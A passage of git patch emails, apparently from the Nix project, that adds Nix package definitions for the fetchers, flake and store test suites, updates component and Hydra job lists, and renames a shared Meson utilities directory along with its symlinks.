+# one of `doCheck` or `doInstallCheck` enabled.
+, withCoverageChecks ? false
+}:
+
+let
+  inherit (lib) fileset;
+
+  version = lib.fileContents ./.version + versionSuffix;
+
+  mkDerivation =
+    if withCoverageChecks
+    then
+      # TODO support `finalAttrs` args function in
+      # `releaseTools.coverageAnalysis`.
+      argsFun:
+         releaseTools.coverageAnalysis (let args = argsFun args; in args)
+    else stdenv.mkDerivation;
+in
+
+mkDerivation (finalAttrs: {
+  pname = "nix-store-test";
+  inherit version;
+
+  src = fileset.toSource {
+    root = ./.;
+    fileset = fileset.unions [
+      ./meson.build
+      # ./meson.options
+      (fileset.fileFilter (file: file.hasExt "cc") ./.)
+      (fileset.fileFilter (file: file.hasExt "hh") ./.)
+    ];
+  };
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  buildInputs = [
+    nix-store
+    nix-store-c
+    nix-store-test-support
+    rapidcheck
+    gtest
+  ];
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix
+    ''
+      echo ${version} > .version
+    '';
+
+  mesonFlags = [
+  ];
+
+  env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
+  strictDeps = !withCoverageChecks;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  passthru = {
+    tests = {
+      run = runCommand "${finalAttrs.pname}-run" {
+      } ''
+        PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH"
+        export _NIX_TEST_UNIT_DATA=${./data}
+        nix-store-test
+        touch $out
+      '';
+    };
+  };
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+} // lib.optionalAttrs withCoverageChecks {
+  lcovFilter = [ "*/boost/*" "*-tab.*" ];
+
+  hardeningDisable = [ "fortify" ];
+})
diff --git a/src/libutil-c/package.nix b/src/libutil-c/package.nix
index 05a26c17e6c..37f2291b557 100644
--- a/src/libutil-c/package.nix
+++ b/src/libutil-c/package.nix
@@ -55,11 +55,6 @@ mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs = [
-    nix-util
-  ]
-  ;
-
   propagatedBuildInputs = [
     nix-util
   ];
diff --git a/src/libutil-test-support/package.nix b/src/libutil-test-support/package.nix
index 0be0a9945be..c6a0f018353 100644
--- a/src/libutil-test-support/package.nix
+++ b/src/libutil-test-support/package.nix
@@ -56,14 +56,9 @@ mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs = [
-    nix-util
-    rapidcheck
-  ]
-  ;
-
   propagatedBuildInputs = [
     nix-util
+    rapidcheck
   ];
 
   preConfigure =

From 46ec69a483576ce095f1fde14583f174cdee2e8c Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 18:09:32 -0400
Subject: [PATCH 473/528] Everything builds in the dev shell now

---
 flake.nix                        |   4 ++
 packaging/components.nix         |   8 +--
 src/libexpr-c/package.nix        |   2 +-
 src/libexpr-test/meson.build     |   3 +
 src/libexpr/package.nix          |   2 +-
 src/libfetchers-test/package.nix | 111 +++++++++++++++++++++++++++++++
 src/libflake-test/package.nix    | 111 +++++++++++++++++++++++++++++++
 src/libstore-c/package.nix       |   2 +-
 src/libstore-test/meson.build    |   3 +
 9 files changed, 238 insertions(+), 8 deletions(-)
 create mode 100644 src/libfetchers-test/package.nix
 create mode 100644 src/libflake-test/package.nix

diff --git a/flake.nix b/flake.nix
index ba526a9b882..fc46ef940bb 100644
--- a/flake.nix
+++ b/flake.nix
@@ -334,6 +334,10 @@
             ++ lib.optional (stdenv.cc.isClang && stdenv.hostPlatform == stdenv.buildPlatform) pkgs.buildPackages.clang-tools;
 
           buildInputs = attrs.buildInputs or []
+            ++ [
+              pkgs.gtest
+              pkgs.rapidcheck
+            ]
             ++ lib.optional havePerl pkgs.perl
             ;
         });
diff --git a/packaging/components.nix b/packaging/components.nix
index 97b989f1f21..5576877cb5e 100644
--- a/packaging/components.nix
+++ b/packaging/components.nix
@@ -8,28 +8,26 @@ in
   nix = callPackage ../package.nix { };
 
   nix-util = callPackage ../src/libutil/package.nix { };
+  nix-util-c = callPackage ../src/libutil-c/package.nix { };
   nix-util-test-support = callPackage ../src/libutil-test-support/package.nix { };
   nix-util-test = callPackage ../src/libutil-test/package.nix { };
-  nix-util-c = callPackage ../src/libutil-c/package.nix { };
 
   nix-store = callPackage ../src/libstore/package.nix { };
+  nix-store-c = callPackage ../src/libstore-c/package.nix { };
   nix-store-test-support = callPackage ../src/libstore-test-support/package.nix { };
   nix-store-test = callPackage ../src/libstore-test/package.nix { };
-  nix-store-c = callPackage ../src/libstore-c/package.nix { };
 
   nix-fetchers = callPackage ../src/libfetchers/package.nix { };
   nix-fetchers-test = callPackage ../src/libfetchers-test/package.nix { };
-  nix-fetchers-c = callPackage ../src/libfetchers-c/package.nix { };
 
   nix-expr = callPackage ../src/libexpr/package.nix { };
+  nix-expr-c = callPackage ../src/libexpr-c/package.nix { };
   nix-expr-test-support = callPackage ../src/libexpr-test-support/package.nix { };
   nix-expr-test = callPackage ../src/libexpr-test/package.nix { };
-  nix-expr-c = callPackage ../src/libexpr-c/package.nix { };
 
   nix-flake = callPackage ../src/libflake/package.nix { };
 
   nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { };
-
   nix-external-api-docs = callPackage ../src/external-api-docs/package.nix { };
 
   nix-perl-bindings = callPackage ../src/perl/package.nix { };
diff --git a/src/libexpr-c/package.nix b/src/libexpr-c/package.nix
index ce86780c145..542be064d8e 100644
--- a/src/libexpr-c/package.nix
+++ b/src/libexpr-c/package.nix
@@ -41,7 +41,7 @@ mkDerivation (finalAttrs: {
     root = ./.;
     fileset = fileset.unions [
       ./meson.build
-      ./meson.options
+      # ./meson.options
       (fileset.fileFilter (file: file.hasExt "cc") ./.)
       (fileset.fileFilter (file: file.hasExt "hh") ./.)
       (fileset.fileFilter (file: file.hasExt "h") ./.)
diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build
index e5bb771e3e5..cc32b0a1ae9 100644
--- a/src/libexpr-test/meson.build
+++ b/src/libexpr-test/meson.build
@@ -39,6 +39,9 @@ deps_private += rapidcheck
 gtest = dependency('gtest', main : true)
 deps_private += gtest
 
+gtest = dependency('gmock')
+deps_private += gtest
+
 add_project_arguments(
   # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
   # It would be nice for our headers to be idempotent instead.
diff --git a/src/libexpr/package.nix b/src/libexpr/package.nix
index 799368ee94b..14fbf0a060b 100644
--- a/src/libexpr/package.nix
+++ b/src/libexpr/package.nix
@@ -85,7 +85,7 @@ mkDerivation (finalAttrs: {
     '';
 
   mesonFlags = [
-    (lib.mesonFeature "gc" enableGC)
+    (lib.mesonEnable "gc" enableGC)
   ];
 
   env = {
diff --git a/src/libfetchers-test/package.nix b/src/libfetchers-test/package.nix
new file mode 100644
index 00000000000..f4d3f3b731e
--- /dev/null
+++ b/src/libfetchers-test/package.nix
@@ -0,0 +1,111 @@
+{ lib
+, stdenv
+, releaseTools
+
+, meson
+, ninja
+, pkg-config
+
+, nix-fetchers
+, nix-store-test-support
+
+, rapidcheck
+, gtest
+, runCommand
+
+# Configuration Options
+
+, versionSuffix ? ""
+
+# Check test coverage of Nix. Probably want to use with at least
+# one of `doCheck` or `doInstallCheck` enabled.
+, withCoverageChecks ? false
+}:
+
+let
+  inherit (lib) fileset;
+
+  version = lib.fileContents ./.version + versionSuffix;
+
+  mkDerivation =
+    if withCoverageChecks
+    then
+      # TODO support `finalAttrs` args function in
+      # `releaseTools.coverageAnalysis`.
+      argsFun:
+         releaseTools.coverageAnalysis (let args = argsFun args; in args)
+    else stdenv.mkDerivation;
+in
+
+mkDerivation (finalAttrs: {
+  pname = "nix-fetchers-test";
+  inherit version;
+
+  src = fileset.toSource {
+    root = ./.;
+    fileset = fileset.unions [
+      ./meson.build
+      # ./meson.options
+      (fileset.fileFilter (file: file.hasExt "cc") ./.)
+      (fileset.fileFilter (file: file.hasExt "hh") ./.)
+    ];
+  };
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  buildInputs = [
+    nix-fetchers
+    nix-store-test-support
+    rapidcheck
+    gtest
+  ];
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix
+    ''
+      echo ${version} > .version
+    '';
+
+  mesonFlags = [
+  ];
+
+  env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
+  strictDeps = !withCoverageChecks;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  passthru = {
+    tests = {
+      run = runCommand "${finalAttrs.pname}-run" {
+      } ''
+        PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH"
+        export _NIX_TEST_UNIT_DATA=${./data}
+        nix-fetchers-test
+        touch $out
+      '';
+    };
+  };
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+} // lib.optionalAttrs withCoverageChecks {
+  lcovFilter = [ "*/boost/*" "*-tab.*" ];
+
+  hardeningDisable = [ "fortify" ];
+})
diff --git a/src/libflake-test/package.nix b/src/libflake-test/package.nix
new file mode 100644
index 00000000000..f03f58619da
--- /dev/null
+++ b/src/libflake-test/package.nix
@@ -0,0 +1,111 @@
+{ lib
+, stdenv
+, releaseTools
+
+, meson
+, ninja
+, pkg-config
+
+, nix-flake
+, nix-expr-test-support
+
+, rapidcheck
+, gtest
+, runCommand
+
+# Configuration Options
+
+, versionSuffix ? ""
+
+# Check test coverage of Nix. Probably want to use with at least
+# one of `doCheck` or `doInstallCheck` enabled.
+, withCoverageChecks ? false
+}:
+
+let
+  inherit (lib) fileset;
+
+  version = lib.fileContents ./.version + versionSuffix;
+
+  mkDerivation =
+    if withCoverageChecks
+    then
+      # TODO support `finalAttrs` args function in
+      # `releaseTools.coverageAnalysis`.
+      argsFun:
+         releaseTools.coverageAnalysis (let args = argsFun args; in args)
+    else stdenv.mkDerivation;
+in
+
+mkDerivation (finalAttrs: {
+  pname = "nix-flake-test";
+  inherit version;
+
+  src = fileset.toSource {
+    root = ./.;
+    fileset = fileset.unions [
+      ./meson.build
+      # ./meson.options
+      (fileset.fileFilter (file: file.hasExt "cc") ./.)
+      (fileset.fileFilter (file: file.hasExt "hh") ./.)
+    ];
+  };
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  buildInputs = [
+    nix-flake
+    nix-expr-test-support
+    rapidcheck
+    gtest
+  ];
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix
+    ''
+      echo ${version} > .version
+    '';
+
+  mesonFlags = [
+  ];
+
+  env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
+  strictDeps = !withCoverageChecks;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  passthru = {
+    tests = {
+      run = runCommand "${finalAttrs.pname}-run" {
+      } ''
+        PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH"
+        export _NIX_TEST_UNIT_DATA=${./data}
+        nix-flake-test
+        touch $out
+      '';
+    };
+  };
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+} // lib.optionalAttrs withCoverageChecks {
+  lcovFilter = [ "*/boost/*" "*-tab.*" ];
+
+  hardeningDisable = [ "fortify" ];
+})
diff --git a/src/libstore-c/package.nix b/src/libstore-c/package.nix
index aedbad4a2f5..2ed78a760d8 100644
--- a/src/libstore-c/package.nix
+++ b/src/libstore-c/package.nix
@@ -41,7 +41,7 @@ mkDerivation (finalAttrs: {
     root = ./.;
     fileset = fileset.unions [
       ./meson.build
-      ./meson.options
+      # ./meson.options
       (fileset.fileFilter (file: file.hasExt "cc") ./.)
       (fileset.fileFilter (file: file.hasExt "hh") ./.)
       (fileset.fileFilter (file: file.hasExt "h") ./.)
diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build
index cb561977cc3..2cdbfa7b511 100644
--- a/src/libstore-test/meson.build
+++ b/src/libstore-test/meson.build
@@ -36,6 +36,9 @@ deps_private += rapidcheck
 gtest = dependency('gtest', main : true)
 deps_private += gtest
 
+gtest = dependency('gmock')
+deps_private += gtest
+
 add_project_arguments(
   # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
   # It would be nice for our headers to be idempotent instead.

From 2c184f694be1835a50b628c0a8d9ab860583ce0e Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 18:18:37 -0400
Subject: [PATCH 474/528] Ensure we have data dir for libexpr unit tests

---
 src/libexpr-test/data/.gitkeep | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 src/libexpr-test/data/.gitkeep

diff --git a/src/libexpr-test/data/.gitkeep b/src/libexpr-test/data/.gitkeep
new file mode 100644
index 00000000000..e69de29bb2d

From 79e0ef88bf90a968c4867d28060354d1ea0f1d6d Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 18:24:49 -0400
Subject: [PATCH 475/528] Include missing components

---
 packaging/components.nix |  1 +
 packaging/hydra.nix      | 10 ++++++++++
 2 files changed, 11 insertions(+)

diff --git a/packaging/components.nix b/packaging/components.nix
index 5576877cb5e..73f0d24e17f 100644
--- a/packaging/components.nix
+++ b/packaging/components.nix
@@ -26,6 +26,7 @@ in
   nix-expr-test = callPackage ../src/libexpr-test/package.nix { };
 
   nix-flake = callPackage ../src/libflake/package.nix { };
+  nix-flake-test = callPackage ../src/libflake-test/package.nix { };
 
   nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { };
   nix-external-api-docs = callPackage ../src/external-api-docs/package.nix { };
diff --git a/packaging/hydra.nix b/packaging/hydra.nix
index a1691ed3898..8c212d2fbaf 100644
--- a/packaging/hydra.nix
+++ b/packaging/hydra.nix
@@ -40,7 +40,17 @@ let
     "nix-util-test-support"
     "nix-util-test"
     "nix-store"
+    "nix-store-c"
+    "nix-store-test-support"
+    "nix-store-test"
     "nix-fetchers"
+    "nix-fetcher-test"
+    "nix-expr"
+    "nix-expr-c"
+    "nix-expr-test-support"
+    "nix-expr-test"
+    "nix-flake"
+    "nix-flake-test"
   ];
 in
 {

From 6a0582d9fd258013362c435d96cc72d0e4b15320 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 18:28:13 -0400
Subject: [PATCH 476/528] Rename file to avoid reserved name

---
 .../deps-lists/meson.build                           |  0
 .../diagnostics/meson.build                          |  0
 .../export-all-symbols/meson.build                   |  0
 .../export/meson.build                               |  0
 .../subprojects/meson.build                          |  0
 .../threads/meson.build                              |  0
 meson.build                                          |  4 ++--
 src/libcmd/build-utils-meson                         |  1 +
 src/libcmd/meson-utils                               |  1 -
 src/libexpr-c/build-utils-meson                      |  1 +
 src/libexpr-c/meson-utils                            |  1 -
 src/libexpr-c/meson.build                            | 10 +++++-----
 src/libexpr-test-support/build-utils-meson           |  1 +
 src/libexpr-test-support/meson-utils                 |  1 -
 src/libexpr-test-support/meson.build                 | 10 +++++-----
 src/libexpr-test/build-utils-meson                   |  1 +
 src/libexpr-test/meson-utils                         |  1 -
 src/libexpr-test/meson.build                         |  8 ++++----
 src/libexpr/build-utils-meson                        |  1 +
 src/libexpr/meson-utils                              |  1 -
 src/libexpr/meson.build                              | 10 +++++-----
 src/libfetchers-test/build-utils-meson               |  1 +
 src/libfetchers-test/meson-utils                     |  1 -
 src/libfetchers-test/meson.build                     |  8 ++++----
 src/libfetchers/build-utils-meson                    |  1 +
 src/libfetchers/meson-utils                          |  1 -
 src/libfetchers/meson.build                          |  8 ++++----
 src/libflake-test/build-utils-meson                  |  1 +
 src/libflake-test/meson-utils                        |  1 -
 src/libflake-test/meson.build                        |  8 ++++----
 src/libflake/build-utils-meson                       |  1 +
 src/libflake/meson-utils                             |  1 -
 src/libflake/meson.build                             |  8 ++++----
 src/libmain/build-utils-meson                        |  1 +
 src/libmain/meson-utils                              |  1 -
 src/libstore-c/build-utils-meson                     |  1 +
 src/libstore-c/meson-utils                           |  1 -
 src/libstore-c/meson.build                           | 10 +++++-----
 src/libstore-test-support/build-utils-meson          |  1 +
 src/libstore-test-support/meson-utils                |  1 -
 src/libstore-test-support/meson.build                | 10 +++++-----
 src/libstore-test/build-utils-meson                  |  1 +
 src/libstore-test/meson-utils                        |  1 -
 src/libstore-test/meson.build                        |  8 ++++----
 src/libstore/build-utils-meson                       |  1 +
 src/libstore/meson-utils                             |  1 -
 src/libstore/meson.build                             | 12 ++++++------
 src/libutil-c/build-utils-meson                      |  1 +
 src/libutil-c/meson-utils                            |  1 -
 src/libutil-c/meson.build                            | 10 +++++-----
 src/libutil-test-support/build-utils-meson           |  1 +
 src/libutil-test-support/meson-utils                 |  1 -
 src/libutil-test-support/meson.build                 | 10 +++++-----
 src/libutil-test/build-utils-meson                   |  1 +
 src/libutil-test/meson-utils                         |  1 -
 src/libutil-test/meson.build                         |  8 ++++----
 src/libutil/build-utils-meson                        |  1 +
 src/libutil/meson-utils                              |  1 -
 src/libutil/meson.build                              | 12 ++++++------
 59 files changed, 95 insertions(+), 95 deletions(-)
 rename {meson-utils => build-utils-meson}/deps-lists/meson.build (100%)
 rename {meson-utils => build-utils-meson}/diagnostics/meson.build (100%)
 rename {meson-utils => build-utils-meson}/export-all-symbols/meson.build (100%)
 rename {meson-utils => build-utils-meson}/export/meson.build (100%)
 rename {meson-utils => build-utils-meson}/subprojects/meson.build (100%)
 rename {meson-utils => build-utils-meson}/threads/meson.build (100%)
 create mode 120000 src/libcmd/build-utils-meson
 delete mode 120000 src/libcmd/meson-utils
 create mode 120000 src/libexpr-c/build-utils-meson
 delete mode 120000 src/libexpr-c/meson-utils
 create mode 120000 src/libexpr-test-support/build-utils-meson
 delete mode 120000 src/libexpr-test-support/meson-utils
 create mode 120000 src/libexpr-test/build-utils-meson
 delete mode 120000 src/libexpr-test/meson-utils
 create mode 120000 src/libexpr/build-utils-meson
 delete mode 120000 src/libexpr/meson-utils
 create mode 120000 src/libfetchers-test/build-utils-meson
 delete mode 120000 src/libfetchers-test/meson-utils
 create mode 120000 src/libfetchers/build-utils-meson
 delete mode 120000 src/libfetchers/meson-utils
 create mode 120000 src/libflake-test/build-utils-meson
 delete mode 120000 src/libflake-test/meson-utils
 create mode 120000 src/libflake/build-utils-meson
 delete mode 120000 src/libflake/meson-utils
 create mode 120000 src/libmain/build-utils-meson
 delete mode 120000 src/libmain/meson-utils
 create mode 120000 src/libstore-c/build-utils-meson
 delete mode 120000 src/libstore-c/meson-utils
 create mode 120000 src/libstore-test-support/build-utils-meson
 delete mode 120000 src/libstore-test-support/meson-utils
 create mode 120000 src/libstore-test/build-utils-meson
 delete mode 120000 src/libstore-test/meson-utils
 create mode 120000 src/libstore/build-utils-meson
 delete mode 120000 src/libstore/meson-utils
 create mode 120000 src/libutil-c/build-utils-meson
 delete mode 120000 src/libutil-c/meson-utils
 create mode 120000 src/libutil-test-support/build-utils-meson
 delete mode 120000 src/libutil-test-support/meson-utils
 create mode 120000 src/libutil-test/build-utils-meson
 delete mode 120000 src/libutil-test/meson-utils
 create mode 120000 src/libutil/build-utils-meson
 delete mode 120000 src/libutil/meson-utils

diff --git a/meson-utils/deps-lists/meson.build b/build-utils-meson/deps-lists/meson.build
similarity index 100%
rename from meson-utils/deps-lists/meson.build
rename to build-utils-meson/deps-lists/meson.build
diff --git a/meson-utils/diagnostics/meson.build b/build-utils-meson/diagnostics/meson.build
similarity index 100%
rename from meson-utils/diagnostics/meson.build
rename to build-utils-meson/diagnostics/meson.build
diff --git a/meson-utils/export-all-symbols/meson.build b/build-utils-meson/export-all-symbols/meson.build
similarity index 100%
rename from meson-utils/export-all-symbols/meson.build
rename to build-utils-meson/export-all-symbols/meson.build
diff --git a/meson-utils/export/meson.build b/build-utils-meson/export/meson.build
similarity index 100%
rename from meson-utils/export/meson.build
rename to build-utils-meson/export/meson.build
diff --git a/meson-utils/subprojects/meson.build b/build-utils-meson/subprojects/meson.build
similarity index 100%
rename from meson-utils/subprojects/meson.build
rename to build-utils-meson/subprojects/meson.build
diff --git a/meson-utils/threads/meson.build b/build-utils-meson/threads/meson.build
similarity index 100%
rename from meson-utils/threads/meson.build
rename to build-utils-meson/threads/meson.build
diff --git a/meson.build b/meson.build
index fb38d7ef297..e969fc907ea 100644
--- a/meson.build
+++ b/meson.build
@@ -13,8 +13,8 @@ subproject('libexpr')
 subproject('libflake')
 
 # Docs
-subproject('internal-api-docs')
-subproject('external-api-docs')
+#subproject('internal-api-docs')
+#subproject('external-api-docs')
 
 # C wrappers
 subproject('libutil-c')
diff --git a/src/libcmd/build-utils-meson b/src/libcmd/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libcmd/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libcmd/meson-utils b/src/libcmd/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libcmd/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libexpr-c/build-utils-meson b/src/libexpr-c/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libexpr-c/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libexpr-c/meson-utils b/src/libexpr-c/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libexpr-c/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build
index 477640240fb..3c5d9e6b790 100644
--- a/src/libexpr-c/meson.build
+++ b/src/libexpr-c/meson.build
@@ -14,7 +14,7 @@ project('nix-expr-c', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils/deps-lists')
+subdir('build-utils-meson/deps-lists')
 
 configdata = configuration_data()
 
@@ -27,7 +27,7 @@ deps_public_maybe_subproject = [
   dependency('nix-util-c'),
   dependency('nix-store-c'),
 ]
-subdir('meson-utils/subprojects')
+subdir('build-utils-meson/subprojects')
 
 # TODO rename, because it will conflict with downstream projects
 configdata.set_quoted('PACKAGE_VERSION', meson.project_version())
@@ -53,7 +53,7 @@ add_project_arguments(
   language : 'cpp',
 )
 
-subdir('meson-utils/diagnostics')
+subdir('build-utils-meson/diagnostics')
 
 sources = files(
   'nix_api_expr.cc',
@@ -69,7 +69,7 @@ headers = [config_h] + files(
   'nix_api_value.h',
 )
 
-subdir('meson-utils/export-all-symbols')
+subdir('build-utils-meson/export-all-symbols')
 
 this_library = library(
   'nixexprc',
@@ -84,4 +84,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true)
 
 libraries_private = []
 
-subdir('meson-utils/export')
+subdir('build-utils-meson/export')
diff --git a/src/libexpr-test-support/build-utils-meson b/src/libexpr-test-support/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libexpr-test-support/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libexpr-test-support/meson-utils b/src/libexpr-test-support/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libexpr-test-support/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libexpr-test-support/meson.build b/src/libexpr-test-support/meson.build
index ad3108a61bf..d42b0532bf8 100644
--- a/src/libexpr-test-support/meson.build
+++ b/src/libexpr-test-support/meson.build
@@ -14,7 +14,7 @@ project('nix-expr-test-support', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils/deps-lists')
+subdir('build-utils-meson/deps-lists')
 
 deps_private_maybe_subproject = [
 ]
@@ -25,7 +25,7 @@ deps_public_maybe_subproject = [
   dependency('nix-store-test-support'),
   dependency('nix-expr'),
 ]
-subdir('meson-utils/subprojects')
+subdir('build-utils-meson/subprojects')
 
 rapidcheck = dependency('rapidcheck')
 deps_public += rapidcheck
@@ -39,7 +39,7 @@ add_project_arguments(
   language : 'cpp',
 )
 
-subdir('meson-utils/diagnostics')
+subdir('build-utils-meson/diagnostics')
 
 sources = files(
   'tests/value/context.cc',
@@ -53,7 +53,7 @@ headers = files(
   'tests/value/context.hh',
 )
 
-subdir('meson-utils/export-all-symbols')
+subdir('build-utils-meson/export-all-symbols')
 
 this_library = library(
   'nix-expr-test-support',
@@ -70,4 +70,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true)
 
 libraries_private = []
 
-subdir('meson-utils/export')
+subdir('build-utils-meson/export')
diff --git a/src/libexpr-test/build-utils-meson b/src/libexpr-test/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libexpr-test/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libexpr-test/meson-utils b/src/libexpr-test/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libexpr-test/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build
index cc32b0a1ae9..f70fd069328 100644
--- a/src/libexpr-test/meson.build
+++ b/src/libexpr-test/meson.build
@@ -14,7 +14,7 @@ project('nix-expr-test', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils/deps-lists')
+subdir('build-utils-meson/deps-lists')
 
 deps_private_maybe_subproject = [
 ]
@@ -29,9 +29,9 @@ deps_public_maybe_subproject = [
   dependency('nix-expr-c'),
   dependency('nix-expr-test-support'),
 ]
-subdir('meson-utils/subprojects')
+subdir('build-utils-meson/subprojects')
 
-subdir('meson-utils/export-all-symbols')
+subdir('build-utils-meson/export-all-symbols')
 
 rapidcheck = dependency('rapidcheck')
 deps_private += rapidcheck
@@ -54,7 +54,7 @@ add_project_arguments(
   language : 'cpp',
 )
 
-subdir('meson-utils/diagnostics')
+subdir('build-utils-meson/diagnostics')
 
 sources = files(
   'derived-path.cc',
diff --git a/src/libexpr/build-utils-meson b/src/libexpr/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libexpr/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libexpr/meson-utils b/src/libexpr/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libexpr/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build
index d99f8048693..fdf26460486 100644
--- a/src/libexpr/meson.build
+++ b/src/libexpr/meson.build
@@ -14,7 +14,7 @@ project('nix-expr', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils/deps-lists')
+subdir('build-utils-meson/deps-lists')
 
 configdata = configuration_data()
 
@@ -25,9 +25,9 @@ deps_public_maybe_subproject = [
   dependency('nix-store'),
   dependency('nix-fetchers'),
 ]
-subdir('meson-utils/subprojects')
+subdir('build-utils-meson/subprojects')
 
-subdir('meson-utils/threads')
+subdir('build-utils-meson/threads')
 
 boost = dependency(
   'boost',
@@ -69,7 +69,7 @@ add_project_arguments(
   language : 'cpp',
 )
 
-subdir('meson-utils/diagnostics')
+subdir('build-utils-meson/diagnostics')
 
 parser_tab = custom_target(
   input : 'parser.y',
@@ -201,4 +201,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true)
 
 libraries_private = []
 
-subdir('meson-utils/export')
+subdir('build-utils-meson/export')
diff --git a/src/libfetchers-test/build-utils-meson b/src/libfetchers-test/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libfetchers-test/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libfetchers-test/meson-utils b/src/libfetchers-test/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libfetchers-test/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libfetchers-test/meson.build b/src/libfetchers-test/meson.build
index 30056c64a32..e7c5b7873d7 100644
--- a/src/libfetchers-test/meson.build
+++ b/src/libfetchers-test/meson.build
@@ -14,7 +14,7 @@ project('nix-fetchers-test', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils/deps-lists')
+subdir('build-utils-meson/deps-lists')
 
 deps_private_maybe_subproject = [
